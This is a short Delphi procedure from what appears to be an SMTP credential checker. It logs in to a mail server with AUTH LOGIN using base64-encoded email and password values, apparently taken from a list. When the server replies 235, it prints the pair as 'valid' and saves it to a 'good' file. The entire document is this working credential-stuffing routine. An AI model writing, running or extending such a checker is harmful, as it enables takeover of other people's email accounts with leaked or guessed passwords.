procedure CheckMail(host:string;port:integer);
var Client:TIdTCPClient;
begin
  Client:=TIdTCPClient.Create(nil);
  Client.Port:=port;
  Client.Host:=host;
  try
  Client.Connect();
  Write(Client.CurrentReadBuffer);
  Client.WriteLn('EHLO checker');
  Write(Client.CurrentReadBuffer);
  Client.WriteLn('AUTH LOGIN');
  Write(Client.CurrentReadBuffer);
  Client.WriteLn(EncodeBase64(mail));
  Write(Client.CurrentReadBuffer);
  Client.WriteLn(EncodeBase64(pass));
  //Write(Client.CurrentReadBuffer);
  if (StrToInt(Copy(Client.CurrentReadBuffer,1,3))=235) then
  begin
    Writeln(mailpass+' - valid');
    Writeln(good,mailpass);
  end;
  Client.WriteLn('QUIT');
  Write(Client.CurrentReadBuffer);
  Client.Disconnect;
  except exit;
  end;
  Client.Free;
  writeln;
  writeln;
end;